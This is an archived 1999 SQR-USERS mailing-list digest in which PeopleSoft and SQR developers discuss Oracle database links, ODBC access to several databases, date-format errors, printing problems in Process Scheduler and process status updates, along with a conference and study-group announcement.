--------------ABAD6EB1C8730C0869E77B43-- From owner-sqr-users@list.iex.net Thu Oct 7 12:09:50 1999 Date: Thu, 7 Oct 1999 12:01:32 -0500 From: itzgee Subject: accessing multiple databases I think you can set up a standard database link. We stick to Oracle here, but any database with standard sql installed would probably work. Here are my previous notes on the subject: caveat: I use oracle. You might have subtle differences in the sql if you use another product. You have to set up a database link first. You do not set up the link within your sqr. I set up my links manually, with my dba's knowledge and consent. You can think of the database link as a persistent object that exists inside the database, so to speak. The link does not make the two databases perform as one. Links just give access to data on other databases, really. The standard syntax for creating a link is: create [public or private] database link some_name_link connect to username identified by password using 'T:hostname:dbname' If you are using Oracle SQL*Net, you can substitute using 'connect string' The 'T:.....' stands for the protocol, in this case, TCP/IP. hostname is the name of the host where the database resides. dbname is the name of the remote database. So, let's say you set up the following link create public database link my_link connect to rstojkov identified by 18snoopy using 'T:my_server:my_database' Then, when you want to access data at that location, you use the following syntax: select * from my_table@my_link where my_field = 'ME' If you get tired of all that typing, you can create a synonym: create synonym my_self for my_table@my_link then you can say select * from my_self where my_field = 'ME' Now, a word to the wise: DATABASE LINKS MUST BE MAINTAINED MANUALLY!!! I am not a DBA, so I don't know all about this, but there are instances where your links can go AWOL. If you are migrating your database to another server or if your dba does some sort of major upgrade, the database link may be wiped out. Therefore, you need to work with your dba on this. You might even consider using an sqr that checks for the existence of the link at night and warns you if it can't find it. begin-procedure my_check $my_msg = 'NOT FOUND' begin-select my_field $my_msg = 'FOUND' from my_self end-select if $my_msg = 'NOT FOUND' let $Call_To_System = 'mail -s "Link Status" robert.stojkovic@IO-CONSULTING.COM <'|| $my_msg call system using $Call_To_System #unix_status end-if end-procedure Database links can also be slow slow slow if you try to return a lot of rows. Be sure your selects are as limited as possible. Try to nest your selects if your performance is unacceptable. Retrieve the local data, and then call a procedure that retrieves the remote data. If you do a complicated join across a link, you will be like Cartman on a Big Wheel ("!?*# Can't this thing go any faster!!!") You must really think out the best way to structure your links. If you are moving a lot of rows of data, you should set up two links, one on each database, and test it to see if you "get" data faster than you "put" data. Generally, I figure out which side of the equation is going to perform the commit, and I try to start from that end. Sometimes it's not really all that much more efficient to do a link. Speaking of efficiency, if you are loading into Oracle, and it is a straight load, you should try sqlloader. There have been a lot of posts on the topic. Gracen Duffield Texas Department of Housing and Community Affairs 475-3839 -----Original Message----- From: Discussion of SQR, SQRIBE Technologies's database reporting language [mailto:SQR-USERS@list.iex.net]On Behalf Of Robert Stojkovic Sent: Friday, September 17, 1999 11:25 AM To: Multiple recipients of list SQR-USERS Subject: ODBC Connection Hello. What would be the proper syntax to open and ODBC connection to another database within and SQR. Robert Gracen Duffield Texas Department of Housing and Community Affairs 475-3839 -----Original Message----- From: Discussion of SQR, SQRIBE Technologies's database reporting language [mailto:SQR-USERS@list.iex.net]On Behalf Of Jeffrey K. Bedell Sent: Thursday, October 07, 1999 10:34 AM To: Multiple recipients of list SQR-USERS Subject: Accessing multiple databases Greetings fellow SQR users - I have been monitoring this list serv for many months now and have picked up many useful tidbits of information but never found the need to make use of it. Until now. We are a university and therefore have multiple platforms and environments scattered all over the place. To transfer information between systems we generally run an SQR that extracts the data from one database, FTP the file over to another server and then run another SQR which updates the second database. What I was wondering is, is it possible to access two separate database in the same SQR? That is, can I read from one database (SYBASE) and insert into a second database (ORACLE) within the same SQR? Anybody ever done this or even know if it is possible? Thanks for any input you can offer. - Jeff Bedell - Syracuse University From owner-sqr-users@list.iex.net Thu Oct 7 12:13:35 1999 Date: Thu, 7 Oct 1999 13:06:58 -0400 From: "Jeffrey K. Bedell" Subject: Re: Accessing multiple databases This is a multi-part message in MIME format. --------------408C71A652EBEF8DBE67B4F3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dave, Interesting idea. I'll have to see about getting the ODBC drivers set up but will certainly try it. Will let you know the results. Thanks. -Jeff Bedell DaveL Smith wrote: > Jeffrey, > > I am doing a transfer from SQL Server 6.5 to SQL Server 7, its possible as long > as the machine you are running on has connectivity through ODBC to all of the > platforms. > > What I do is specify the DSN connectivity on my BEGIN-SELECT statements. I > select from one interface table into variables, then call a procedure that > connects to the other database and inserts the variables into the interface > table of the target. > > David L. Smith > IBM Global Services > > "Jeffrey K. Bedell" on 10/07/99 10:34:13 AM > > Please respond to SQR-USERS@list.iex.net > > To: Multiple recipients of list SQR-USERS > cc: > Subject: Accessing multiple databases > > Greetings fellow SQR users - > I have been monitoring this list serv for many months now and have > picked up many useful tidbits of information but never found the need to > make use of it. Until now. We are a university and therefore have > multiple platforms and environments scattered all over the place. To > transfer information between systems we generally run an SQR that > extracts the data from one database, FTP the file over to another server > and then run another SQR which updates the second database. What I was > wondering is, is it possible to access two separate database in the same > SQR? That is, can I read from one database (SYBASE) and insert into a > second database (ORACLE) within the same SQR? Anybody ever done this or > even know if it is possible? > Thanks for any input you can offer. > > - Jeff Bedell - Syracuse University --------------408C71A652EBEF8DBE67B4F3 Content-Type: text/x-vcard; charset=us-ascii; name="jkbedell.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Jeffrey K. Bedell Content-Disposition: attachment; filename="jkbedell.vcf" begin:vcard n:Bedell;Jeffrey K. tel;fax:(315) 443-3553 tel;work:(315) 443-9273 x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:jkbedell@ais.syr.edu x-mozilla-cpt:;31856 fn:Jeffrey K. Bedell end:vcard --------------408C71A652EBEF8DBE67B4F3-- From owner-sqr-users@list.iex.net Thu Oct 7 12:40:17 1999 Date: Thu, 7 Oct 1999 13:29:23 -0400 From: "Salem, Mark" Subject: Re: Accessing multiple databases Do you have an example that you could share with us? Thanks! > -----Original Message----- > From: DaveL Smith > Sent: Thursday, October 07, 1999 10:25 AM > To: Multiple recipients of list SQR-USERS > Subject: Re: Accessing multiple databases > > > > Jeffrey, > > I am doing a transfer from SQL Server 6.5 to SQL Server 7, its possible as > long > as the machine you are running on has connectivity through ODBC to all of > the > platforms. > > What I do is specify the DSN connectivity on my BEGIN-SELECT statements. > I > select from one interface table into variables, then call a procedure that > connects to the other database and inserts the variables into the > interface > table of the target. > > David L. Smith > IBM Global Services > > > > > "Jeffrey K. Bedell" on 10/07/99 10:34:13 AM > > Please respond to SQR-USERS@list.iex.net > > To: Multiple recipients of list SQR-USERS > cc: > Subject: Accessing multiple databases > > > > > Greetings fellow SQR users - > I have been monitoring this list serv for many months now and have > picked up many useful tidbits of information but never found the need to > make use of it. Until now. We are a university and therefore have > multiple platforms and environments scattered all over the place. To > transfer information between systems we generally run an SQR that > extracts the data from one database, FTP the file over to another server > and then run another SQR which updates the second database. What I was > wondering is, is it possible to access two separate database in the same > SQR? That is, can I read from one database (SYBASE) and insert into a > second database (ORACLE) within the same SQR? Anybody ever done this or > even know if it is possible? > Thanks for any input you can offer. > > - Jeff Bedell - Syracuse University > > << File: jkbedell.vcf >> From owner-sqr-users@list.iex.net Thu Oct 7 14:08:06 1999 Date: Thu, 7 Oct 1999 14:00:49 -0500 From: Hsiu-Fen Chen Subject: To Create/Migrate Portion of the Production Database I will post the same question to the psuser group. I apologize if you have to receive this posting twice. We want to create only a small portion (may be 1000 Employees) of the production database to another new PS 7.5 Oracle8 test instance. 1) How do we duplicate the structure including quite some customization from the production? 2) After we have the mimic structure, what tool (Data Mover?? or ???) do we use to import the data? 3) How to identify all the HR/Benefit/Payroll/Pension tables that have data in them? Note: We have those 1000 EEs IDs in a TESTEMPLID table. Below is the script I started with: select 'SELECT * FROM '||TABLE_NAME||' WHERE EXISTS (SELECT "X" FROM ', 'PS_TESTEMPLID_TBL WHERE TESTEMPLID = EMPLID);' from dba_tables a, psrecfield b, psrecdefn c where a.table_name = 'PS_'||b.recname and b.recname = c.recname and c.rectype = '0' and b.fieldname = 'EMPLID'; I would appreciate any advice/input from the group. Thanks. Hsiu-Fen From owner-sqr-users@list.iex.net Thu Oct 7 15:53:10 1999 Date: Thu, 7 Oct 1999 16:40:48 EDT From: William Hart Subject: SQR Error: ORA -1841 Upgrading to Tools 7.05.10 Hi All, We have upgraded our Tools from 7.03 to 7.05.10. This brings us from SQR 3.0 to 4.3.4. We are now getting the error: ORA -1841, SQL Eror: (Full) year must be between -4713 and +9999, and not be 0. Has anyone else hit this? Any resolutions? Thanks in Advance! Bill Hart College of the Holy Cross From owner-sqr-users@list.iex.net Thu Oct 7 16:29:21 1999 Date: Thu, 7 Oct 1999 14:05:48 -0700 From: Kristin Cagan Subject: Re: SQR Error: ORA -1841 Upgrading to Tools 7.05.10 Hi Bill, We had trouble with dates when we upgraded HRMS from 6.11 to 7.0x. I'm not sure if it's the same problem you're having, but we received the following from PeopleSoft as an explanation/fix for the problem. Maybe it will be helpful. Good luck. KC :) > Below is the text for Incident T-SAMI SHAIKH-SNT2W. Even though it doesn't > mention version 6.11, this version was on the list of Tools versions that > were impacted by this, as documented by related Incident T-HCODY-H6X4U. > > > ====================== > In PT 7.03 and PT 7.52, the Native-Date for Oracle was changed from > DD-MON-YYYY to YYYY-MM-DD to meet needs of International Customers. > Although PeopleSoft SQR/SQC's work with this change, Customers are > seeing an impact on their Customer SQRs. To meet the needs of both > situations, support for DD-MON-YYYY was added back. Either Date Formats > work with PeopleSoft Date Processing Logic. > > Note: Support for YYYY-MM-DD is still there for International > Customers. To enable this logic, you must change 2 lines in SETENV.SQC. > Here is a cut from the Code that explans this: > > !For Oracle, you have the choice of which date format to use. Until PT 6.11, 7.03, 7.52, > !DD-MON-YYYY was the only option available. Due to issues internationally, support > !for YYYY-MM-DD was added. If you are using Oracle with a non-English locale, it is > !recommended to use YYYY-MM-DD. To change between formats, simply uncomment the > !format you want to use and comment out the other one. SETUPDB.SQC will automatically > !recognize the change. > ! > !#define Native-DateTime YYYY-MM-DD_HH:MI:SS > #define Native-DateTime DD-MON-YYYY_HH:MI:SS_AM > > By Default, DD-MON-YYYY will be supported. By making the change suggested: > > #define Native-DateTime YYYY-MM-DD_HH:MI:SS > !#define Native-DateTime DD-MON-YYYY_HH:MI:SS_AM > The Date processing will be done using YYYY-MM-DD (International) At 04:40 PM 10/07/1999 -0400, you wrote: >Hi All, > >We have upgraded our Tools from 7.03 to 7.05.10. This brings us from SQR 3.0 > to 4.3.4. We are now getting the error: >ORA -1841, SQL Eror: (Full) year must be between -4713 and +9999, and not be >0. > >Has anyone else hit this? Any resolutions? > >Thanks in Advance! >Bill Hart >College of the Holy Cross > From owner-sqr-users@list.iex.net Thu Oct 7 16:16:33 1999 Date: Thu, 7 Oct 1999 15:08:56 -0600 From: Arturo Vega Subject: Re: SQR Error: ORA -1841 Upgrading to Tools 7.05.10 With SQR 4.X you must review the SQR.INI chapter (#8 in Language reference), there is your problem. Please check SQR_DB_DATE_FORMAT and SQR_DB_DATE_FORMAT issues first. Hope this helps Arturo Vega PeopleSoft Consultant MEXICO Hi All, We have upgraded our Tools from 7.03 to 7.05.10. This brings us from SQR 3.0 to 4.3.4. We are now getting the error: ORA -1841, SQL Eror: (Full) year must be between -4713 and +9999, and not be 0. Has anyone else hit this? Any resolutions? Thanks in Advance! Bill Hart College of the Holy Cross From owner-sqr-users@list.iex.net Thu Oct 7 16:24:12 1999 Date: Thu, 7 Oct 1999 14:14:46 -0700 From: Kris Narravula Subject: Re: Declare-Report/Declare-Printer This is a multi-part message in MIME format. ------=_NextPart_000_0064_01BF10CE.4EDBD380 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Vicki, I got a similar problem few weeks back. I was using SQR command = "Last-Page" to print the last page in header as "Page X of Y". It worked = fine if I run it to a file and print it from the DOS prompt. It has = given me error when I run it to printer. I have talked to PeopleSoft = Global support here is what I got from them __________ Known Problem while directing output directly to a Printer via Process Scheduler running on the Client The -keep and -ziv will result in an SQR 6001 or 6003 run time error if the Output Destination in Process Scheduler is set to Printer and the run location is Client. There are 2 workarounds Remove those flags from the command line Use output destination as File, then from DOS issue a COPY Workaround 1 is the recommended option. There are SQR commands that will also result in the above error. They are Declare-Report and Last-Page. In this situation, there are 3 workarounds Remove these from the SQR program Use output destination as File, then from DOS issue a COPY = Change the Process Definition from using = the -f flag to instead use -printer::wp. To use -printer::wp, LPT1 must = be mapped to a printer. PeopleSoft is working on a permanent solution = for this in a future release. ____________ You might observe here that if you have "Declare-Report" or "Last-Page" = in your report you can not send it to the printer directly. It is a = problem with PeopleSoft and they are expected to resolve it in PS Ver = 8.0 If you could solve it some how please let me know Thanks kris ----- Original Message -----=20 From: Victoria Lo=20 To: Multiple recipients of list SQR-USERS=20 Sent: Wednesday, October 06, 1999 3:06 PM Subject: Declare-Report/Declare-Printer Hello Everyone; I have declare-report and declare-printer in SQR to handle multiple = reports and different fonts. When I use the Process Scheduler and print it to = the file, then copy the print file to the printer, it printed perfectly. = However, if I use the Process Scheduler and print it to the printer directly, all it = printed is the printer characters, not the report itself. Could anyone tell me what = did I miss? Thank you! Vicki ------=_NextPart_000_0064_01BF10CE.4EDBD380 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi Vicki,
 
I got a similar problem few weeks back. = I was using=20 SQR command "Last-Page" to print the last page in header as "Page X of = Y". It=20 worked fine if I run it to a file and print it from the DOS prompt. It = has given=20 me error when I run it to printer. I have talked to PeopleSoft Global = support=20 here is what I got from them
 
__________

Known Problem while directing output directly to a = Printer via=20 Process

Scheduler running on the Client

The -keep and -ziv will result in an SQR 6001 or 6003 = run time=20 error if

the Output Destination in Process Scheduler is set to = Printer=20 and the

run location is Client. There are 2 = workarounds

Remove those flags from the command line

Use output destination as File, then from DOS issue a=20 COPY

<filename.lis> = <PrinterName>

Workaround 1 is the recommended option.

There are SQR commands that will also result in the = above error.=20 They

are Declare-Report and Last-Page. In this situation, = there are=20 3

workarounds

Remove these from the SQR program

Use output destination as File, then from DOS issue a = COPY=20 <filename.lis> <PrinterName> Change the Process Definition = from=20 using the -f flag to instead use -printer::wp. To use -printer::wp, LPT1 = must be=20 mapped to a printer. PeopleSoft is working on a permanent solution for = this in a=20 future release.

____________

 

You might observe here that if you have = "Declare-Report" or=20 "Last-Page" in your report you can not send it to the printer directly. = It is a=20 problem with PeopleSoft and they are expected to resolve it in PS Ver=20 8.0

If you could solve it some how please let me = know

Thanks

kris

 

----- Original Message -----
From:=20 Victoria = Lo
To: Multiple=20 recipients of list SQR-USERS
Sent: Wednesday, October 06, = 1999 3:06=20 PM
Subject:=20 Declare-Report/Declare-Printer

Hello Everyone;

I have declare-report and=20 declare-printer in SQR to handle multiple reports
and different = fonts. When=20 I use the Process Scheduler and print it to the
file,
then copy = the=20 print file to the printer, it printed perfectly. However, if = I
use
the=20 Process Scheduler and print it to the printer directly, all it printed = is
the
printer characters, not the report itself. Could anyone = tell me=20 what did I
miss?
Thank = you!

Vicki
------=_NextPart_000_0064_01BF10CE.4EDBD380-- From owner-sqr-users@list.iex.net Thu Oct 7 17:09:58 1999 Date: Thu, 7 Oct 1999 15:01:45 PDT From: Ed Kelly Subject: Re: Declare-Report/Declare-Printer Everyone, This is NOT a PeopleSoft issue; it is a limitation of SQR. PeopleSoft is planning on building a workaround directly into the process scheduler in release 8.x. >From: Kris Narravula >Reply-To: SQR-USERS@list.iex.net >To: Multiple recipients of list SQR-USERS >Subject: Re: Declare-Report/Declare-Printer >Date: Thu, 7 Oct 1999 14:14:46 -0700 > > >Hi Vicki, > >I got a similar problem few weeks back. I was using SQR command "Last-Page" >to print the last page in header as "Page X of Y". It worked fine if I run >it to a file and print it from the DOS prompt. It has given me error when I >run it to printer. I have talked to PeopleSoft Global support here is what >I got from them > >__________ >Known Problem while directing output directly to a Printer via Process > >Scheduler running on the Client > >The -keep and -ziv will result in an SQR 6001 or 6003 run time error if > >the Output Destination in Process Scheduler is set to Printer and the > >run location is Client. There are 2 workarounds > >Remove those flags from the command line > >Use output destination as File, then from DOS issue a COPY > > > >Workaround 1 is the recommended option. > >There are SQR commands that will also result in the above error. They > >are Declare-Report and Last-Page. In this situation, there are 3 > >workarounds > >Remove these from the SQR program > >Use output destination as File, then from DOS issue a COPY > Change the Process Definition from using the -f flag to >instead use -printer::wp. To use -printer::wp, LPT1 must be mapped to a >printer. PeopleSoft is working on a permanent solution for this in a future >release. > >____________ > > > >You might observe here that if you have "Declare-Report" or "Last-Page" in >your report you can not send it to the printer directly. It is a problem >with PeopleSoft and they are expected to resolve it in PS Ver 8.0 > >If you could solve it some how please let me know > >Thanks > >kris > > > > ----- Original Message ----- > From: Victoria Lo > To: Multiple recipients of list SQR-USERS > Sent: Wednesday, October 06, 1999 3:06 PM > Subject: Declare-Report/Declare-Printer > > > Hello Everyone; > > I have declare-report and declare-printer in SQR to handle multiple >reports > and different fonts. When I use the Process Scheduler and print it to >the > file, > then copy the print file to the printer, it printed perfectly. However, >if I > use > the Process Scheduler and print it to the printer directly, all it >printed is > the > printer characters, not the report itself. Could anyone tell me what did >I > miss? > Thank you! > > Vicki > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Thu Oct 7 17:51:52 1999 Date: Thu, 7 Oct 1999 15:37:56 -0700 From: Kris Narravula Subject: Re: Declare-Report/Declare-Printer This is a multi-part message in MIME format. ------=_NextPart_000_00D6_01BF10D9.ED888CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Kelly, I think you are misunderstood what I wanted to say. If I mention = anything wrong, I would like to withdraw my comments.=20 The Message I have included is a part of the mail what I have got from = the PeepleSoft Global Support People. You can see the same thing by = searching for the resolutions on PS Customer support using customer = connection. I don't know exactly whether it is a PeopleSoft Problem or SQR's.=20 I would like to here more regarding it from the user group. Thanks kris ----- Original Message -----=20 From: Ed Kelly=20 To: Multiple recipients of list SQR-USERS=20 Sent: Thursday, October 07, 1999 3:01 PM Subject: Re: Declare-Report/Declare-Printer Everyone, This is NOT a PeopleSoft issue; it is a limitation of SQR. PeopleSoft = is planning on building a workaround directly into the process scheduler = in release 8.x. >From: Kris Narravula >Reply-To: SQR-USERS@list.iex.net >To: Multiple recipients of list SQR-USERS >Subject: Re: Declare-Report/Declare-Printer >Date: Thu, 7 Oct 1999 14:14:46 -0700 > > >Hi Vicki, > >I got a similar problem few weeks back. I was using SQR command = "Last-Page" >to print the last page in header as "Page X of Y". It worked fine if = I run >it to a file and print it from the DOS prompt. It has given me error = when I >run it to printer. I have talked to PeopleSoft Global support here is = what >I got from them > >__________ >Known Problem while directing output directly to a Printer via = Process > >Scheduler running on the Client > >The -keep and -ziv will result in an SQR 6001 or 6003 run time error = if > >the Output Destination in Process Scheduler is set to Printer and the > >run location is Client. There are 2 workarounds > >Remove those flags from the command line > >Use output destination as File, then from DOS issue a COPY > > > >Workaround 1 is the recommended option. > >There are SQR commands that will also result in the above error. They > >are Declare-Report and Last-Page. In this situation, there are 3 > >workarounds > >Remove these from the SQR program > >Use output destination as File, then from DOS issue a COPY = > Change the Process Definition from using the -f flag to >instead use -printer::wp. To use -printer::wp, LPT1 must be mapped to = a >printer. PeopleSoft is working on a permanent solution for this in a = future >release. > >____________ > > > >You might observe here that if you have "Declare-Report" or = "Last-Page" in >your report you can not send it to the printer directly. It is a = problem >with PeopleSoft and they are expected to resolve it in PS Ver 8.0 > >If you could solve it some how please let me know > >Thanks > >kris > > > > ----- Original Message ----- > From: Victoria Lo > To: Multiple recipients of list SQR-USERS > Sent: Wednesday, October 06, 1999 3:06 PM > Subject: Declare-Report/Declare-Printer > > > Hello Everyone; > > I have declare-report and declare-printer in SQR to handle = multiple >reports > and different fonts. When I use the Process Scheduler and print it = to >the > file, > then copy the print file to the printer, it printed perfectly. = However, >if I > use > the Process Scheduler and print it to the printer directly, all it >printed is > the > printer characters, not the report itself. Could anyone tell me = what did >I > miss? > Thank you! > > Vicki > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ------=_NextPart_000_00D6_01BF10D9.ED888CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Kelly,
 
I think you are misunderstood what I = wanted to say.=20 If I mention anything wrong, I would like to withdraw my=20 comments. 
 
The Message I have included is a part = of the mail=20 what I have got from the PeepleSoft Global Support People. You can see = the same=20 thing by searching for the resolutions on PS Customer support using = customer=20 connection.
 
I don't know exactly whether it is a = PeopleSoft=20 Problem or SQR's.
 
I would like to here more regarding it = from the=20 user group.
 
Thanks
kris
 
----- Original Message -----
From:=20 Ed Kelly=20
To: Multiple=20 recipients of list SQR-USERS
Sent: Thursday, October 07, = 1999 3:01=20 PM
Subject: Re:=20 Declare-Report/Declare-Printer

Everyone,

This is NOT a PeopleSoft issue; it is = a=20 limitation of SQR.  PeopleSoft is
planning on building a = workaround=20 directly into the process scheduler in
release = 8.x.


>From:=20 Kris Narravula <kris_narravula@HOTMAIL.COM= >
>Reply-To:=20 SQR-USERS@list.iex.net
>= To:=20 Multiple recipients of list SQR-USERS <SQR-USERS@list.iex.net>
= >Subject:=20 Re: Declare-Report/Declare-Printer
>Date: Thu, 7 Oct 1999 = 14:14:46=20 -0700
>
>
>Hi Vicki,
>
>I got a similar = problem=20 few weeks back. I was using SQR command "Last-Page"
>to print = the last=20 page in header as "Page X of Y". It worked fine if I run
>it to = a file=20 and print it from the DOS prompt. It has given me error when = I
>run it=20 to printer. I have talked to PeopleSoft Global support here is = what
>I=20 got from them
>
>__________
>Known Problem while = directing=20 output directly to a Printer via Process
>
>Scheduler = running on=20 the Client
>
>The -keep and -ziv will result in an SQR = 6001 or=20 6003 run time error if
>
>the Output Destination in = Process=20 Scheduler is set to Printer and the
>
>run location is = Client.=20 There are 2 workarounds
>
>Remove those flags from the = command=20 line
>
>Use output destination as File, then from DOS = issue a=20 COPY
>
><filename.lis>=20 <PrinterName>
>
>Workaround 1 is the recommended=20 option.
>
>There are SQR commands that will also result in = the=20 above error. They
>
>are Declare-Report and Last-Page. In = this=20 situation, there are = 3
>
>workarounds
>
>Remove these=20 from the SQR program
>
>Use output destination as File, = then from=20 DOS issue a COPY <filename.lis>
><PrinterName> = Change the=20 Process Definition from using the -f flag to
>instead use = -printer::wp.=20 To use -printer::wp, LPT1 must be mapped to a
>printer. = PeopleSoft is=20 working on a permanent solution for this in a=20 = future
>release.
>
>____________
>
>
>= ;
>You=20 might observe here that if you have "Declare-Report" or "Last-Page"=20 in
>your report you can not send it to the printer directly. It = is a=20 problem
>with PeopleSoft and they are expected to resolve it in = PS Ver=20 8.0
>
>If you could solve it some how please let me=20 = know
>
>Thanks
>
>kris
>
>
>>  =20 ----- Original Message -----
>   From: Victoria=20 Lo
>   To: Multiple recipients of list=20 SQR-USERS
>   Sent: Wednesday, October 06, 1999 3:06=20 PM
>   Subject:=20 Declare-Report/Declare-Printer
>
>
>   = Hello=20 Everyone;
>
>   I have declare-report and=20 declare-printer in SQR to handle = multiple
>reports
>  =20 and different fonts. When I use the Process Scheduler and print it=20 to
>the
>   file,
>   then copy = the=20 print file to the printer, it printed perfectly. However,
>if=20 I
>   use
>   the Process Scheduler = and print=20 it to the printer directly, all it
>printed = is
>  =20 the
>   printer characters, not the report itself. = Could=20 anyone tell me what did
>I
>   = miss?
>  =20 Thank you!
>
>  =20 = Vicki
>

____________________________________________________= __
Get=20 Your Private, Free Email at http://www.hotmail.com
------=_NextPart_000_00D6_01BF10D9.ED888CC0-- From owner-sqr-users@list.iex.net Thu Oct 7 19:45:28 1999 Date: Fri, 8 Oct 1999 00:35:23 GMT From: "Madav ." Subject: Process Monitor Status Iam running SQR through Process schedular.It is giving expected results.But process monitor status is not changing from 'Processing' to 'success', even after the completion of running. Can any body helps me to solve this problem. Your help is appreciated. Thanks, Madav ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Thu Oct 7 20:13:18 1999 Date: Thu, 7 Oct 1999 18:02:08 -0700 From: Kristin Cagan Subject: Re: Process Monitor Status Make sure you are calling the Update-Prcs-Run-Status at the end of your report. I'm not positive which SQC it's in, but I think it's in one of these: prcsapi.sqc, prcsdef.sqc Also take a look at the procedures in eoj.sqc and reset.sqc. There might be something in there, too. Not exceedingly helpful, I realize, but it's a start. KC :) At 12:35 AM 10/08/1999 +0000, you wrote: >Iam running SQR through Process schedular.It is giving expected results.But >process monitor status is not changing from 'Processing' to 'success', even >after the completion of running. >Can any body helps me to solve this problem. >Your help is appreciated. > >Thanks, >Madav > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > From owner-sqr-users@list.iex.net Thu Oct 7 20:30:33 1999 Date: Thu, 7 Oct 1999 18:23:25 -0700 From: Kris Narravula Subject: Re: Process Monitor Status This is a multi-part message in MIME format. ------=_NextPart_000_0110_01BF10F1.0B4B7300 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable STDAPI.SQC simplifies our job. We have to call "do Stdapi-Init" in the = initialization stage of the report like after "Init-DateTime" or = "Init-Number" procedures. Call the "Stdapi-Term" at the end of the report to commit or roll back = based on the SQL status and update the process status in process = scheduler. Kris ----- Original Message -----=20 From: Madav .=20 To: Multiple recipients of list SQR-USERS=20 Sent: Thursday, October 07, 1999 5:35 PM Subject: Process Monitor Status Iam running SQR through Process schedular.It is giving expected = results.But process monitor status is not changing from 'Processing' to 'success', = even after the completion of running. Can any body helps me to solve this problem. Your help is appreciated. Thanks, Madav ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ------=_NextPart_000_0110_01BF10F1.0B4B7300 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
STDAPI.SQC simplifies our job. We = have to call=20 "do Stdapi-Init" in the initialization stage of the report like = after =20 "Init-DateTime"  or "Init-Number" procedures.
 
Call the "Stdapi-Term"  at the end = of the=20 report to commit or roll back based on the SQL status and update the = process=20 status in process scheduler.
 
Kris
 
 
----- Original Message -----
From:=20 Madav = .=20
To: Multiple=20 recipients of list SQR-USERS
Sent: Thursday, October 07, = 1999 5:35=20 PM
Subject: Process Monitor = Status

Iam running SQR through Process schedular.It is giving = expected=20 results.But
process monitor status is not changing from = 'Processing' to=20 'success', even
after the completion of running.
Can any body = helps me=20 to solve this problem.
Your help is=20 = appreciated.

Thanks,
Madav

_____________________________= _________________________
Get=20 Your Private, Free Email at http://www.hotmail.com
------=_NextPart_000_0110_01BF10F1.0B4B7300-- From owner-sqr-users@list.iex.net Thu Oct 7 20:52:23 1999 Date: Thu, 7 Oct 1999 18:40:21 -0700 From: Ian Robinson Subject: At last - SQR Developers Conference planned ! Just a heads up to let everyone know that Brio Technology is planning a developers conference (Insight 2000) for May 14-18 in Monterey, California, that will feature tracks on enterprise reporting and SQR programming. This will include up to 20 in-depth sessions on SQR Server, including Web-based reporting, SQR tips and techniques, performance tuning, custom DDO driver development, PeopleSoft integration, etc. There will be a Call for Papers issued shortly, so if you are interested in presenting to several hundred of your peers on your favorite SQR power tips, now is the time to start dreaming up a session topic. ---------------------------------------------------------------------------- ------------ Ian Robinson Director, Enterprise Reporting Products Brio Technology From owner-sqr-users@list.iex.net Sun Oct 10 19:15:55 1999 Date: Fri, 8 Oct 1999 10:27:39 +0800 From: "Ivory, Wayne" Subject: Seeking an SQR 'In' function SQR 3 As you know in SQL you can have a condition such as: WHERE ERNCD IN ('REG','OVT','TRV',...) The other day I was modifying an SQR that had a variable $Erncd that I needed to test for over 20 distinct values. I was unable to find in the manual an SQR equivalent of the above functionality and ended up coding it as: if $Erncd = 'REG' or $Erncd = 'OVT' or $Erncd = 'TRV' or ... What a pain!! Is there a simpler way in SQR? Thanks Wayne Ivory Information Services Iluka Resources Limited From owner-sqr-users@list.iex.net Thu Oct 7 22:28:28 1999 Date: Thu, 7 Oct 1999 21:20:15 -0600 From: Bryan deSilva Subject: Beginning SQR study group This is a multi-part message in MIME format. ------=_NextPart_000_0016_01BF1109.C17F8180 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0017_01BF1109.C188A940" ------=_NextPart_001_0017_01BF1109.C188A940 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Hello all. I hope this appropriate to post to our list. I moderate an eGroup mailing list called PeopleSoft-Fans, which is going to host a study group on beginning SQR. In case any of you might be interested I’m posting the intro message from the group here. We won’t begin for another week or so, so it’s certainly not too late to join PeopleSoft-Fans and participate in the study group. What follows is the kick off message when we decided to host a study group. Hello all. You asked for it! Here is the list of classes that you're all interested in having online. Please choose only ONE class. We'll go with a combination of the highest percentage vote AND that we have a teacher available for . (We don't yet have a volunteer for Workflow or Upgrades) The vote will go for at least a week and maybe two. Then we'll post a kickoff message for the class with instructions how to participate. Please select one of the following: o Into to PeopleSoft - Complete, includes PeopleTools o Intro to Reporting Tools o Intro to SQR Development o Managing data conversions o Intro to Workflow o How to handle upgrades by going to the following Web form: http://www.egroups.com/vote?id=937230593499 Thank you! It looks like we're going to start SQR in the next week or two and then follow on with other reporting tools. If you're interested, please come over to our eGroup. If you aren't yet a subscriber, send a blank email to peoplesoft-fans-subscribe@egroups.com or go to the web site, http://www.egroups.com to add it. It will show up in your "My Space" page. Bryan deSilva Chief Evangelist of Really Neat Stuff Improvisations.net – “innovation by design” 970/352-4711 voice 970/392-1499 fax To join one of our helpful mailing lists click on the appropriate link below and send a blank email by choosing a link below. Click here to join the PeopleSoft-Fans mailing list. Click here to join the Arev-fans mailing list ------=_NextPart_001_0017_01BF1109.C188A940 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hello all. I hope this appropriate to post to our list. I moderate an eGroup = mailing list called PeopleSoft-Fans, which is going to host a study group on = beginning SQR. In case any of you might be interested I’m posting the intro = message from the group here. We won’t begin for another week or so, so = it’s certainly not too late to join PeopleSoft-Fans and participate in the study group. = What follows is the kick off message when we decided to host a study = group.

Hello = all.

 

